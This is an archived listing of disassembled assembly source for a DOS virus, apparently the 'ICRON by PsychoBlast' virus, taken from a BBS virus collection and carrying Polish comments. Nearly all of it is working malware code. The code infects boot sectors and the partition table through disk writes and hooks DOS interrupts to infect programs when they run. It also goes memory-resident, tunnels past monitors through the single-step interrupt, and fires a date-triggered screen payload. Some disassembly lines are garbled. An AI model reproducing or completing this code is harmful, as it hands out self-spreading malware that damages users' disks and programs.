home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / command.asm < prev    next >
Assembly Source File  |  1991-01-26  |  31KB  |  1,005 lines

  1. S0000    SEGMENT
  2.     ASSUME DS:S0000, SS:S0000 ,CS:S0000 ,ES:S0000
  3.     ORG    100h
  4.  
  5.     JMP    L9BD6                ;0100 E9 D3 9A
  6.  
  7. ;-------
  8. ;    zainfekowany program
  9.     org    93B5h
  10. ;-------
  11.  
  12. ;<------ czesc zakodowana -----------------------
  13. L93B5:    CLI                    ;93B5 FA
  14.     XOR    AX,AX                ;93B6 33 C0
  15.     MOV    SS,AX                ;93B8 8E D0
  16.     MOV    SP,7C00h            ;93BA BC 00 7C
  17.     STI                    ;93BD FB
  18.     MOV    AX,3                ;93BE B8 03 00
  19.     CALL    L93E3                ;93C1 E8 1F 00
  20.     PUSH    ES                ;93C4 06
  21.     MOV    AX,42H        ;L93F7        ;93C5 B8 42 00
  22.     PUSH    AX                ;93C8 50
  23.     MOV    AX,07C0h            ;93C9 B8 C0 07
  24.     MOV    DS,AX                ;93CC 8E D8
  25.     MOV    AX,0205h    ;read 5 sectors into memory    ;93CE B8 05 02
  26.     MOV    CX,DS:2AH    ;L93DF trk/sec            ;93D1 8B 0E 2A 00
  27.     INC    CX                        ;93D5 41
  28.     MOV    DX,DS:2CH    ;L93E1 head/drive        ;93D6 8B 16 2C 00
  29.     INT    13H                        ;93DA CD 13
  30.     RET_FAR            ;-> L93F7            ;93DC CB
  31.  
  32. L93DD:    ADD    SI,DI                ;93DD 01 FE
  33. V002A    dw    0DB8Ch        ;731 trk / 12 sec        ;93DF 8C DB
  34. V002C    dw    00680h        ; 6 head / 80h drv        ;93E1 80 06
  35.  
  36. ;------------------------------------------------
  37. ;    podprogram
  38. ;------------------------------------------------
  39. L93E3:    ???                    ;93E3 33 DB 33
  40.     DEC    WORD PTR [BP+L26C3]        ;93E6 FF 8E C3 26
  41.     SUB    L0413,AX            ;93EA 29 06 13 04
  42.     INT    12H        ;get memory size (in 1K blocks)    ;93EE CD 12
  43.     MOV    CL,6                ;93F0 B1 06
  44.     SHL    AX,CL        ;KB -> paragrph        ;93F2 D3 E0
  45.     MOV    ES,AX                ;93F4 8E C0
  46.     RET_NEAR                ;93F6 C3
  47.  
  48. ;------------------------------------------------
  49. ;    ciag dalszy
  50. L93F7:    PUSH    CS                ;93F7 0E
  51.     POP    DS                ;93F8 1F
  52.     XOR    AX,AX                ;93F9 33 C0
  53.     MOV    ES,AX                ;93FB 8E C0
  54.     MOV    BX,OFFSET L7C00            ;93FD BB 00 7C
  55.     PUSH    AX                ;9400 50
  56.     PUSH    BX                ;9401 53
  57.     MOV    AX,0201h    ;read 1 sector into memory    ;9402 B8 01 02
  58.     MOV    CX,DS:2AH            ;9405 8B 0E 2A 00
  59.     MOV    DX,DS:2CH            ;9409 8B 16 2C 00
  60.     INT    13H                ;940D CD 13
  61.     MOV    AX,L0867            ;940F A1 67 08
  62.     DEC    AX                ;9412 48
  63.     CMP    AX,0CH                ;9413 3D 0C 00
  64.     JBE    L943D                ;9416 76 25
  65.     MOV    AX,1200h    ;return EGA information        ;9418 B8 00 12
  66.     MOV    BX,0FF10h                    ;941B BB 10 FF
  67.     INT    10H                        ;941E CD 10
  68.     OR    BH,BH                        ;9420 0A FF
  69.     JNZ    L943D        ;-> monochrome            ;9422 75 19
  70.     MOV    AH,4        ;read Real Time Clock date    ;9424 B4 04
  71.     INT    1AH                ;9426 CD 1A
  72.     CMP    DL,2                ;9428 80 FA 02
  73.     JNZ    L943D                ;942B 75 10
  74.     MOV    AX,4                ;942D B8 04 00
  75.     CALL    L93E3                ;9430 E8 B0 FF
  76.     CALL    L95AA                ;9433 E8 74 01
  77.     MOV    BYTE PTR DS:0E9H,0        ;9436 C6 06 E9 00 00
  78.     JMP    SHORT    L9442            ;943B EB 05
  79.  
  80. L943D:    MOV    BYTE PTR DS:0E9H,1        ;943D C6 06 E9 00 01
  81.     CLI                    ;9442 FA
  82.     XOR    AX,AX                ;9443 33 C0
  83.     MOV    ES,AX                ;9445 8E C0
  84.     LES    BX,DWORD PTR ES:70H    ;int 1Ch    ;9447 26 C4 1E 70 00
  85.     MOV    DS:0D7H,BX            ;944C 89 1E D7 00
  86.     MOV    DS:0D9H,ES            ;9450 8C 06 D9 00
  87.     MOV    ES,AX                ;9454 8E C0
  88.     LES    BL,DWORD PTR ES:84H    ;int 21h    ;9456 26 C4 1E 84 00
  89.     MOV    L0863,BX            ;945B 89 1E 63 08
  90.     MOV    L0865,ES            ;945F 8C 06 65 08
  91.     MOV    ES,AX                ;9463 8E C0
  92.     MOV    WORD PTR ES:70H,OFFSET L0398    ;9465 26 C7 06 70 00 98 03
  93.     MOV    ES:72H,DS    ;'r'        ;946C 26 8C 1E 72 00
  94.     STI                    ;9471 FB
  95.     RET_FAR                    ;9472 CB
  96.  
  97. V00BE    db    0        ;0=COM                ;9473 00
  98. V00BF    db    0E9h,01Dh    ;saved original pgm bytes    ;9474 E9 1D
  99.     db    1Ah                        ;9476 1A
  100.  
  101. V00C2    dw    0100h        ;dword victim entry point    ;9477 00 01
  102. V00C4    dw    0000h    ;rel                    ;9479 00 00
  103.  
  104. V00C6    dw    0000h    ;rel    ;victim stack segment        ;947B 00 00
  105.  
  106.     ???                    ;947D 87 0C 52
  107.     WAIT                    ;9480 9B
  108.     ADD    [BX+SI],AH            ;9481 00 20
  109.     ADD    [BX+SI],DH            ;9483 00 30
  110.     ADC    AL,[BX+SI]            ;9485 12 00
  111.     DB    60H    ??            ;9487 60
  112.     ADD    [BX+SI],AL            ;9488 00 00
  113.     ADD    [BX+SI],AL            ;948A 00 00
  114.     PUSH    BX                ;948C 53
  115.     INC    WORD PTR [BX+SI]        ;948D FF 00
  116.     LOCK    PUSH    SS            ;948F F0 16
  117.     POP    SS                ;9491 17
  118.     DB    0C1H    ??            ;9492 C1
  119.     ADD    BH,[BX+39H]            ;9493 02 7F 39
  120.     PUSH    DX                ;9496 52
  121.     WAIT                    ;9497 9B
  122.     ADC    [BX+SI],AL            ;9498 10 00
  123.     ADD    [BP+SI],AL            ;949A 00 02
  124.     INC    SP                ;949C 44
  125.     INT    3                ;949D CC
  126.  
  127. V00E9    db    1                ;949E 01
  128.  
  129.     ???                    ;949F 00
  130.     ADD    DS:0,CL                ;94A0 00 0E 00 00
  131.     ADD    [BX+SI],AX            ;94A4 01 00
  132.     ADD    [SI],BL                ;94A6 00 1C
  133.     ADD    [BX+SI],AL            ;94A8 00 00
  134.     ADD    [BX+DI],BL            ;94AA 00 19
  135.     ADD    AL,[BP+DI]            ;94AC 02 03
  136.     DEC    WORD PTR [BX+4DH]        ;94AE FF 4F 4D
  137.     DB    'ICRON by PsychoBlast'        ;94B1 49 43 52 4F 4E 20 62 79 20 50 73 79 63 68 6F 42
  138.  
  139. ;================================================================
  140. ;<------punkt startowy po rozkodowaniu wirusa na programie ------
  141.  
  142. L94C5:    CALL    L94C8        ;pobranie bazy wirusa        ;94C5 E8 00 00
  143. L94C8:    POP    SI                        ;94C8 5E
  144.     SUB    SI,113h        ;SI = offset poczatku wirusa    ;94C9 81 EE 13 01
  145.     PUSH    SI                        ;94CD 56
  146.     PUSH    AX                        ;94CE 50
  147.     PUSH    ES                        ;94CF 06
  148.     PUSH    CS                        ;94D0 0E
  149.     POP    DS                        ;94D1 1F
  150.     MOV    AX,ES                        ;94D2 8C C0
  151.     ADD    [SI+DS:0C4H],AX    ;L9479    victim CS relocation    ;94D4 01 84 C4 00
  152.     ADD    [SI+DS:0C6H],AX    ;L947B    victim SS relocation    ;94D8 01 84 C6 00
  153.     CMP    BYTE PTR [SI+DS:0BEH],0    ;L9473 COM ?        ;94DC 80 BC BE 00 00
  154.     JNZ    L94F1            ;->    EXE        ;94E1 75 0E
  155.     MOV    AX,[SI+DS:0BFH]        ;L9474 saved pgm bytes    ;94E3 8B 84 BF 00
  156.     MOV    ds:[100h],AX                    ;94E7 A3 00 01
  157.     MOV    AL,[SI+DS:0C1H]        ;L9476            ;94EA 8A 84 C1 00
  158.     MOV    ds:[102h],AL                    ;94EE A2 02 01
  159. L94F1:    MOV    AX,0FE01h        ;computer infected ?    ;94F1 B8 01 FE
  160.     INT    21H                        ;94F4 CD 21
  161.     CMP    AX,01FEh        ;= 510            ;94F6 3D FE 01
  162.     JZ    L9542            ;-> computer infected    ;94F9 74 47
  163.     CMP    BYTE PTR [SI+DS:0BEH],0    ;L9473 *.COM ?        ;94FB 80 BC BE 00 00
  164.     JNZ    L9507            ;-> nie            ;9500 75 05
  165.     CMP    SP,0FFF0h        ;enought memory ?    ;9502 83 FC F0
  166.     JB    L9542            ;-> not            ;9505 72 3B
  167. L9507:    MOV    AX,ES                        ;9507 8C C0
  168.     DEC    AX                        ;9509 48
  169.     MOV    ES,AX            ;arena header segment    ;950A 8E C0
  170.     CMP    BYTE PTR ES:0,'Z'    ;last memory block ?    ;950C 26 80 3E 00 00 5A
  171.     JNZ    L9542            ;-> no            ;9512 75 2E
  172.     MOV    AX,ES:3            ;block             ;9514 26 A1 03 00
  173.     SUB    AX,0A7H            ;= 2672 byte        ;9518 2D A7 00
  174.     JB    L9542            ;-> not enought memory    ;951B 72 25
  175.     MOV    ES:3,AX                        ;951D 26 A3 03 00
  176.     SUB    WORD PTR ES:12H,0A7H    ;            ;9521 26 81 2E 12 00 A7 00
  177.     MOV    ES,ES:12H                    ;9528 26 8E 06 12 00
  178.     XOR    DI,DI                        ;952D 33 FF
  179.     MOV    CX,0869h        ;virus length = 2153    ;952F B9 69 08
  180.     CLD                            ;9532 FC
  181.     REPZ    MOVSB                        ;9533 F3 A4
  182.     PUSH    ES            ;virus area segment    ;9535 06
  183.     POP    DS                        ;9536 1F
  184.     MOV    BYTE PTR DS:0E9H,1    ;L949E            ;9537 C6 06 E9 00 01
  185.     CALL    L95FB                        ;953C E8 BC 00
  186.     CALL    L96C6                        ;953F E8 84 01
  187.  
  188.     ;<------ end of virus job
  189. L9542:    POP    ES                        ;9542 07
  190.     POP    AX                        ;9543 58
  191.     PUSH    ES                        ;9544 06
  192.     POP    DS                        ;9545 1F
  193.     POP    SI                        ;9546 5E
  194.     MOV    SS,CS:[SI+DS:0C6H]      ;L947B victim SS    ;9547 2E 8E 94 C6 00
  195.     JMP    DWORD PTR CS:[SI+DS:0C2H] ;L9477 victim entry    ;954C 2E FF AC C2 00
  196.  
  197.  
  198. L9551:    PUSH    AX                ;9551 50
  199.     PUSH    CX                ;9552 51
  200.     PUSH    DX                ;9553 52
  201.     MOV    AH,2        ;read Real Time Clock time    ;9554 B4 02
  202.     INT    1AH                ;9556 CD 1A
  203.     CMP    CH,10H                ;9558 80 FD 10
  204.     JNZ    L95A6                ;955B 75 49
  205.     PUSH    BX                ;955D 53
  206.     PUSH    ES                ;955E 06
  207.     PUSH    DS                ;955F 1E
  208.     PUSH    CS                ;9560 0E
  209.     POP    DS                ;9561 1F
  210.     MOV    BYTE PTR DS:0E9H,1        ;9562 C6 06 E9 00 01
  211.     MOV    AX,3510h    ;get int 10h vector        ;9567 B8 10 35
  212.     INT    21H                ;956A CD 21
  213.     MOV    DS:0D3H,BX            ;956C 89 1E D3 00
  214.     MOV    DS:0D5H,ES            ;9570 8C 06 D5 00
  215.     MOV    AX,2510h    ;set int 10 vector        ;9574 B8 10 25
  216.     MOV    DX,03E7h    ;= offset L979C            ;9577 BA E7 03
  217.     INT    21H                ;957A CD 21
  218.     MOV    AH,3        ;read cursor position        ;957C B4 03
  219.     XOR    BH,BH        ;page        ;957E 32 FF
  220.     INT    10H                ;9580 CD 10
  221.     XOR    AX,AX                ;9582 33 C0
  222.     MOV    ES,AX                ;9584 8E C0
  223.     MOV    CX,CS                ;9586 8C C9
  224.     SUB    CX,OFFSET L0100            ;9588 81 E9 00 01
  225.     MOV    ES:L04A8,AX            ;958C 26 A3 A8 04
  226.     MOV    ES:L04AA,CX            ;9590 26 89 0E AA 04
  227.     MOV    AL,ES:L0449            ;9595 26 A0 49 04
  228.     ADD    AL,80H                ;9599 04 80
  229.     XOR    AH,AH        ;set video mode            ;959B 32 E4
  230.     INT    10H                ;959D CD 10
  231.     MOV    AH,2        ;set cursor position        ;959F B4 02
  232.     INT    10H                ;95A1 CD 10
  233.     POP    DS                ;95A3 1F
  234.     POP    ES                ;95A4 07
  235.     POP    BX                ;95A5 5B
  236.     POP    DX                ;95A6 5A
  237.     POP    CX                ;95A7 59
  238.     POP    AX                ;95A8 58
  239.     RET_NEAR                ;95A9 C3
  240.  
  241. L95AA:    PUSH    DS                ;95AA 1E
  242.     XOR    AX,AX                ;95AB 33 C0
  243.     MOV    DS,AX                ;95AD 8E D8
  244.     LDS    SI,DWORD PTR L04A8        ;95AF C5 36 A8 04
  245.     MOV    CX,OFFSET LB31C            ;95B3 B9 1C B3
  246.     POP    DI                ;95B6 5F
  247.     DB    'AMSESLIFVASRORIMESAEP'        ;95B7 41 4D 53 45 53 4C 49 46 56 41 53 52 4F 52 49 4D
  248.     MOV    BYTE PTR [BX],1EH        ;95CC C6 07 1E
  249.     OR    AX,[BP+DI]            ;95CF 0B 03
  250.     ADC    [BX+SI],AX            ;95D1 11 00
  251.     ADD    [BX+SI],AL            ;95D3 00 00
  252.     ADD    [BX+SI],AL            ;95D5 00 00
  253.     ADD    [BX+SI],AL            ;95D7 00 00
  254.     ADD    [BX+DI+DS:0EH],BH        ;95D9 00 B9 0E 00
  255.     ADD    DI,0DH                ;95DD 83 C7 0D
  256.     LODSB                    ;95E0 AC
  257.     XOR    AH,AH                ;95E1 32 E4
  258.     MOV    BL,8                ;95E3 B3 08
  259.     SHR    AL,1                ;95E5 D0 E8
  260.     RCL    AH,1                ;95E7 D0 D4
  261.     DEC    BL                ;95E9 FE CB
  262.     JNZ    L95E5                ;95EB 75 F8
  263.     MOV    ES:[DI],AH            ;95ED 26 88 25
  264.     DEC    DI                ;95F0 4F
  265.     LOOP    L95E0                ;95F1 E2 ED
  266.     ADD    DI,0FH                ;95F3 83 C7 0F
  267.     DEC    DX                ;95F6 4A
  268.     JNZ    L95DA                ;95F7 75 E1
  269.     POP    DS                ;95F9 1F
  270.     RET_NEAR                ;95FA C3
  271.  
  272. ;------------------------------------------------
  273. ;    Podprogram fazy rezydowania
  274. ;------------------------------------------------
  275. L95FB:    MOV    AX,3513h    ;get int 13h vector        ;95FB B8 13 35
  276.     INT    21H                        ;95FE CD 21
  277.     MOV    L0863,BX        ;L9C18            ;9600 89 1E 63 08
  278.     MOV    L0865,ES        ;L9C1A            ;9604 8C 06 65 08
  279.     MOV    WORD PTR L037D,100h    ;L9732    ptr single step    ;9608 C7 06 7D 03 00 01
  280.     MOV    AX,OFFSET L0201            ;960E B8 01 02
  281.     MOV    BX,OFFSET L0869            ;9611 BB 69 08
  282.     MOV    CX,1                ;9614 B9 01 00
  283.     MOV    DX,80H                ;9617 BA 80 00
  284.     PUSH    DS                ;961A 1E
  285.     POP    ES                ;961B 07
  286.     CALL    L96EF                ;961C E8 D0 00
  287.     CMP    WORD PTR [BX+DS:28H],0FE01h    ;961F 81 BF 28 00 01 FE
  288.     JZ    L9641                ;9625 74 1A
  289.     ADD    BX,OFFSET L01BE            ;9627 81 C3 BE 01
  290.     MOV    CL,4                ;962B B1 04
  291.     MOV    AL,[BX+4]            ;962D 8A 47 04
  292.     CMP    AL,4                ;9630 3C 04
  293.     JZ    L9644                ;9632 74 10
  294.     CMP    AL,6                ;9634 3C 06
  295.     JZ    L9644                ;9636 74 0C
  296.     CMP    AL,1                ;9638 3C 01
  297.     JZ    L9644                ;963A 74 08
  298.     ADD    BX,10H                ;963C 83 C3 10
  299.     LOOP    L962D                ;963F E2 EC
  300.     JMP    L96C5                ;9641 E9 81 00
  301.  
  302. L9644:    MOV    DH,[BX+5]            ;9644 8A 77 05
  303.     MOV    DS:2CH,DX    ;','        ;9647 89 16 2C 00
  304.     MOV    AX,[BX+6]            ;964B 8B 47 06
  305.     MOV    CX,AX                ;964E 8B C8
  306.     MOV    SI,6                ;9650 BE 06 00
  307.     AND    AX,3FH    ;'?'            ;9653 25 3F 00
  308.     CMP    AX,SI                ;9656 3B C6
  309.     JBE    L96C5                ;9658 76 6B
  310.     SUB    CX,SI                ;965A 2B CE
  311.     MOV    [BX+6],CX            ;965C 89 4F 06
  312.     INC    CX                ;965F 41
  313.     MOV    DS:2AH,CX    ;'*'        ;9660 89 0E 2A 00
  314.     SUB    [BX+0CH],SI            ;9664 29 77 0C
  315.     SBB    WORD PTR [BX+0EH],0        ;9667 83 5F 0E 00
  316.     MOV    BP,BX                ;966B 8B EB
  317.     MOV    AX,OFFSET L0301            ;966D B8 01 03
  318.     MOV    BX,OFFSET L0869            ;9670 BB 69 08
  319.     PUSHF                    ;9673 9C
  320.     CALL    DWORD PTR    L0863        ;9674 FF 1E 63 08
  321.     JB    L96C5                ;9678 72 4B
  322.     MOV    AX,OFFSET L0305            ;967A B8 05 03
  323.     MOV    BX,0                ;967D BB 00 00
  324.     INC    CX                ;9680 41
  325.     PUSHF                    ;9681 9C
  326.     CALL    DWORD PTR    L0863        ;9682 FF 1E 63 08
  327.     JB    L96C5                ;9686 72 3D
  328.     MOV    SI,0                ;9688 BE 00 00
  329.     MOV    DI,OFFSET L0869            ;968B BF 69 08
  330.     MOV    CX,42H    ;'B'            ;968E B9 42 00
  331.     CLD                    ;9691 FC
  332.     REPZ    MOVSB                ;9692 F3 A4
  333.     MOV    AX,OFFSET L0301            ;9694 B8 01 03
  334.     MOV    BX,OFFSET L0869            ;9697 BB 69 08
  335.     MOV    CX,1                ;969A B9 01 00
  336.     XOR    DH,DH                ;969D 32 F6
  337.     PUSHF                    ;969F 9C
  338.     CALL    DWORD PTR    L0863        ;96A0 FF 1E 63 08
  339.     JB    L96C5                ;96A4 72 1F
  340.     MOV    AX,OFFSET L0201            ;96A6 B8 01 02
  341.     MOV    CX,DS:[BP+2]            ;96A9 3E 8B 4E 02
  342.     MOV    DH,DS:[BP+1]            ;96AD 3E 8A 76 01
  343.     PUSHF                    ;96B1 9C
  344.     CALL    DWORD PTR    L0863        ;96B2 FF 1E 63 08
  345.     JB    L96C5                ;96B6 72 0D
  346.     SUB    WORD PTR [BX+13H],6        ;96B8 83 6F 13 06
  347.     NOP                    ;96BC 90
  348.     MOV    AX,OFFSET L0301            ;96BD B8 01 03
  349.     PUSHF                    ;96C0 9C
  350.     CALL    DWORD PTR    L0863        ;96C1 FF 1E 63 08
  351.     RET_NEAR                ;96C5 C3
  352.  
  353. ;------------------------------------------------
  354. ;    Podprogram fazy rezydowania
  355. ;------------------------------------------------
  356. L96C6:    MOV    AX,3521h    ;get int 21h vector    ;96C6 B8 21 35
  357.     INT    21H                ;96C9 CD 21
  358.     MOV    DS:0DBH,BX            ;96CB 89 1E DB 00
  359.     MOV    DS:0DDH,ES            ;96CF 8C 06 DD 00
  360.     MOV    L0863,BX            ;96D3 89 1E 63 08
  361.     MOV    L0865,ES            ;96D7 8C 06 65 08
  362.     MOV    WORD PTR L037D,OFFSET L0320    ;96DB C7 06 7D 03 20 03
  363.     MOV    AH,30H    ;'0'            ;96E1 B4 30
  364.     CALL    L96EF                ;96E3 E8 09 00
  365.     MOV    AX,2521h    ;set int 21h vector    ;96E6 B8 21 25
  366.     MOV    DX,0473h    ;=offset L9828        ;96E9 BA 73 04
  367.     INT    21H                ;96EC CD 21
  368.     RET_NEAR                ;96EE C3
  369.  
  370. ;------------------------------------------------
  371. ;    Podprogram fazy rezydowania
  372. ;------------------------------------------------
  373. L96EF:    PUSH    AX                ;96EF 50
  374.     PUSH    BX                ;96F0 53
  375.     PUSH    DX                ;96F1 52
  376.     PUSH    ES                ;96F2 06
  377.     MOV    AX,3501h    ;get int 1 vector (single step)    ;96F3 B8 01 35
  378.     INT    21H                ;96F6 CD 21
  379.     MOV    SI,BX                ;96F8 8B F3
  380.     MOV    DI,ES                ;96FA 8C C7
  381.     MOV    AX,2501h    ;set int 1 vector (single step)    ;96FC B8 01 25
  382.     MOV    DX,0377h    ;= offset L972C        ;96FF BA 77 03
  383.     INT    21H                ;9702 CD 21
  384.     PUSHF                    ;9704 9C
  385.     POP    AX                ;9705 58
  386.     OR    AX,OFFSET L0100            ;9706 0D 00 01
  387.     PUSH    AX                ;9709 50
  388.     POPF                    ;970A 9D
  389.     POP    ES                ;970B 07
  390.     POP    DX                ;970C 5A
  391.     POP    BX                ;970D 5B
  392.     POP    AX                ;970E 58
  393.     CLI                    ;970F FA
  394.     PUSHF                    ;9710 9C
  395.     CALL    DWORD PTR    L0863        ;9711 FF 1E 63 08
  396.     PUSH    AX                ;9715 50
  397.     PUSH    DX                ;9716 52
  398.     PUSH    DS                ;9717 1E
  399.     PUSHF                    ;9718 9C
  400.     POP    AX                ;9719 58
  401.     AND    AX,OFFSET LFEFF            ;971A 25 FF FE
  402.     PUSH    AX                ;971D 50
  403.     POPF                    ;971E 9D
  404.     MOV    AX,2501h    ;restore int 1 vector    ;971F B8 01 25
  405.     MOV    DX,SI                ;9722 8B D6
  406.     MOV    DS,DI                ;9724 8E DF
  407.     INT    21H                ;9726 CD 21
  408.     POP    DS                ;9728 1F
  409.     POP    DX                ;9729 5A
  410.     POP    AX                ;972A 58
  411.     RET_NEAR                ;972B C3
  412.  
  413. ;------------------------------------------------
  414. ;    New int 1 (singl step) handling routine
  415. ;------------------------------------------------
  416. L972C:    PUSH    BP                ;972C 55
  417.     MOV    BP,SP                ;972D 8B EC
  418.     CMP    WORD PTR [BP+4],100h        ;972F 81 7E 04 00 01
  419. V037D    equ    $-2            ;dla wpisywania wartosci
  420.     JA    L974B                ;9734 77 15
  421.     PUSH    AX                ;9736 50
  422.     PUSH    ES                ;9737 06
  423.     LES    AL,DWORD PTR [BP+2]        ;9738 C4 46 02
  424.     MOV    CS:L0863,AX            ;973B 2E A3 63 08
  425.     MOV    CS:L0865,ES            ;973F 2E 8C 06 65 08
  426.     POP    ES                ;9744 07
  427.     POP    AX                ;9745 58
  428.     AND    WORD PTR [BP+6],OFFSET LFEFF    ;9746 81 66 06 FF FE
  429.     POP    BP                ;974B 5D
  430.     IRET                    ;974C CF
  431.  
  432. L974D:    PUSH    ES                ;974D 06
  433.     PUSH    BX                ;974E 53
  434.     PUSH    AX                ;974F 50
  435.     XOR    AX,AX                ;9750 33 C0
  436.     MOV    ES,AX                ;9752 8E C0
  437.     LES    BL,DWORD PTR ES:84H        ;9754 26 C4 1E 84 00
  438.     MOV    AX,ES                ;9759 8C C0
  439.     CMP    AX,CS:L0865            ;975B 2E 3B 06 65 08
  440.     JNZ    L9769                ;9760 75 07
  441.     CMP    BX,CS:L0863            ;9762 2E 3B 1E 63 08
  442.     JZ    L9798                ;9767 74 2F
  443.     PUSH    DS                ;9769 1E
  444.     PUSH    CS                ;976A 0E
  445.     POP    DS                ;976B 1F
  446.     MOV    DS:0DBH,BX            ;976C 89 1E DB 00
  447.     MOV    DS:0DDH,ES            ;9770 8C 06 DD 00
  448.     MOV    L0863,BX            ;9774 89 1E 63 08
  449.     MOV    L0865,ES            ;9778 8C 06 65 08
  450.     XOR    AX,AX                ;977C 33 C0
  451.     MOV    DS,AX                ;977E 8E D8
  452.     MOV    WORD PTR DS:84H,OFFSET L0473    ;9780 C7 06 84 00 73 04
  453.     MOV    DS:86H,CS            ;9786 8C 0E 86 00
  454.     LES    BL,DWORD PTR CS:0D7H        ;978A 2E C4 1E D7 00
  455.     MOV    DS:70H,BX    ;'p'        ;978F 89 1E 70 00
  456.     MOV    DS:72H,ES    ;'r'        ;9793 8C 06 72 00
  457.     POP    DS                ;9797 1F
  458.     POP    AX                ;9798 58
  459.     POP    BX                ;9799 5B
  460.     POP    ES                ;979A 07
  461.     IRET                    ;979B CF
  462.  
  463. ;------------------------------------------------
  464. ;    New int 10 handling routine
  465. ;------------------------------------------------
  466. L979C:    PUSHF                    ;979C 9C
  467.     OR    AH,AH                ;979D 0A E4
  468.     JNZ    L97D6                ;979F 75 35
  469.     PUSH    AX                ;97A1 50
  470.     PUSH    DX                ;97A2 52
  471.     PUSH    DS                ;97A3 1E
  472.     PUSH    CS                ;97A4 0E
  473.     POP    DS                ;97A5 1F
  474.     AND    AL,7FH                ;97A6 24 7F
  475.     CMP    AL,3                ;97A8 3C 03
  476.     JA    L97C0                ;97AA 77 14
  477.     CMP    AL,2                ;97AC 3C 02
  478.     JB    L97C0                ;97AE 72 10
  479.     MOV    WORD PTR DS:0EAH,0        ;97B0 C7 06 EA 00 00 00
  480.     MOV    AX,251Ch    ;set int 1Ch (user timer tick)    ;97B6 B8 1C 25
  481.     MOV    DX,0427h    ;= offset L97DC            ;97B9 BA 27 04
  482.     INT    21H                ;97BC CD 21
  483.     JMP    SHORT    L97D3            ;97BE EB 13
  484.  
  485. L97C0:    MOV    AX,251Ch    ;set int 1Ch (user timer tick)    ;97C0 B8 1C 25
  486.     MOV    DX,0820h    ;= offset L9BD5            ;97C3 BA 20 08
  487.     INT    21H                ;97C6 CD 21
  488.     MOV    DX,OFFSET L03D4            ;97C8 BA D4 03
  489.     MOV    AX,0CH                ;97CB B8 0C 00
  490.     OUT    DX,AX                ;97CE EF
  491.     MOV    AX,0DH                ;97CF B8 0D 00
  492.     OUT    DX,AX                ;97D2 EF
  493.     POP    DS                ;97D3 1F
  494.     POP    DX                ;97D4 5A
  495.     POP    AX                ;97D5 58
  496.     POPF                    ;97D6 9D
  497.     JMP    DWORD PTR    CS:0D3H        ;97D7 2E FF 2E D3 00
  498.  
  499. ;------------------------------------------------
  500. ;    set int 1Ch (user timer tick) handling routine
  501. ;------------------------------------------------
  502. L97DC:    PUSH    DS                ;97DC 1E
  503.     PUSH    ES                ;97DD 06
  504.     PUSH    SI                ;97DE 56
  505.     PUSH    DI                ;97DF 57
  506.     PUSH    AX                ;97E0 50
  507.     PUSH    CX                ;97E1 51
  508.     PUSH    DX                ;97E2 52
  509.     MOV    DX,OFFSET L03D4            ;97E3 BA D4 03
  510.     MOV    AX,OFFSET L100C            ;97E6 B8 0C 10
  511.     OUT    DX,AX                ;97E9 EF
  512.     MOV    AX,0DH                ;97EA B8 0D 00
  513.     OUT    DX,AX                ;97ED EF
  514.     MOV    AX,OFFSET LB800            ;97EE B8 00 B8
  515.     MOV    DS,AX                ;97F1 8E D8
  516.     MOV    AX,OFFSET LBA00            ;97F3 B8 00 BA
  517.     MOV    ES,AX                ;97F6 8E C0
  518.     MOV    SI,CS:0EAH            ;97F8 2E 8B 36 EA 00
  519.     MOV    DI,OFFSET L0F9E            ;97FD BF 9E 0F
  520.     SUB    DI,SI                ;9800 2B FE
  521.     CLD                    ;9802 FC
  522.     MOV    CX,OFFSET L01F4            ;9803 B9 F4 01
  523.     LODSW                    ;9806 AD
  524.     MOV    ES:[DI],AX            ;9807 26 89 05
  525.     SUB    DI,2                ;980A 83 EF 02
  526.     LOOP    L9806                ;980D E2 F7
  527.     MOV    CS:0EAH,SI            ;980F 2E 89 36 EA 00
  528.     CMP    SI,OFFSET L0FA0            ;9814 81 FE A0 0F
  529.     JB    L9820                ;9818 72 06
  530.     XOR    AX,AX                ;981A 33 C0
  531.     MOV    CS:0EAH,AX            ;981C 2E A3 EA 00
  532.     POP    DX                ;9820 5A
  533.     POP    CX                ;9821 59
  534.     POP    AX                ;9822 58
  535.     POP    DI                ;9823 5F
  536.     POP    SI                ;9824 5E
  537.     POP    ES                ;9825 07
  538.     POP    DS                ;9826 1F
  539.     IRET                    ;9827 CF
  540.  
  541. ;------------------------------------------------
  542. ;    New int 21 handling rotine
  543. ;------------------------------------------------
  544. L9828:    PUSHF                    ;9828 9C
  545.     CMP    AX,OFFSET L2521    ;'%!'        ;9829 3D 21 25
  546.     JNZ    L983A                ;982C 75 0C
  547.     MOV    CS:0DBH,DX            ;982E 2E 89 16 DB 00
  548.     MOV    CS:0DDH,DS            ;9833 2E 8C 1E DD 00
  549.     JMP    SHORT    L9898            ;9838 EB 5E
  550.  
  551.     CMP    AX,OFFSET L3521    ;'5!'        ;983A 3D 21 35
  552.     JNZ    L9846                ;983D 75 07
  553.     LES    BL,DWORD PTR CS:0DBH        ;983F 2E C4 1E DB 00
  554.     JMP    SHORT    L9898            ;9844 EB 52
  555.  
  556. L9846:    CMP    AH,4BH    ;'K'            ;9846 80 FC 4B
  557.     JNZ    L9879                ;9849 75 2E
  558.     OR    AL,AL                ;984B 0A C0
  559.     JNZ    L9873                ;984D 75 24
  560.     PUSH    AX                ;984F 50
  561.     MOV    CS:0C8H,SP            ;9850 2E 89 26 C8 00
  562.     MOV    CS:0CAH,SS            ;9855 2E 8C 16 CA 00
  563.     CLI                    ;985A FA
  564.     MOV    AX,CS                ;985B 8C C8
  565.     MOV    SS,AX                ;985D 8E D0
  566.     MOV    SP,OFFSET L0A69            ;985F BC 69 0A
  567.     STI                    ;9862 FB
  568.     CALL    L98C8                ;9863 E8 62 00
  569.     CLI                    ;9866 FA
  570.     MOV    SS,CS:0CAH            ;9867 2E 8E 16 CA 00
  571.     MOV    SP,CS:0C8H            ;986C 2E 8B 26 C8 00
  572.     STI                    ;9871 FB
  573.     POP    AX                ;9872 58
  574.     POPF                    ;9873 9D
  575.     JMP    DWORD PTR    CS:L0863    ;9874 2E FF 2E 63 08
  576.  
  577. L9879:    CMP    AX,OFFSET LFE01            ;9879 3D 01 FE
  578.     JNZ    L9882                ;987C 75 04
  579.     NOT    AX                ;987E F7 D0
  580.     JMP    SHORT    L9898            ;9880 EB 16
  581.  
  582. L9882:    CMP    BYTE PTR CS:0E9H,1        ;9882 2E 80 3E E9 00 01
  583.     JZ    L988D                ;9888 74 03
